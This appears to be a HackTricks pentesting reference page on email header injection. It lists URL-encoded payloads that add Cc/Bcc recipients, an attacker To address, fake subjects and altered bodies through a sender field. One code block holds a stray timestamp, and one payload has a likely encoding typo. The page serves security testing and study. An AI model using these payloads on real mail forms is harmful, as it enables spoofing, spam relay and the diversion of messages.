hacktricks/pentesting-web/email-header-injection.md

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# Email Header Injection
[https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
## Inject Cc and Bcc after sender argument
```text
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
The message will be sent to the recipient and recipient1 accounts.
## Inject argument
```text
From:sender@domain.com%0ATo:attacker@domain.com
```
The message will be sent to the original recipient and the attacker account.
## Inject Subject argument
```text
2021-05-03 18:33:45 +00:00
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.
## Change the body of the message
Inject a two-line feed, then write your message to change the body of the message.
```text
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```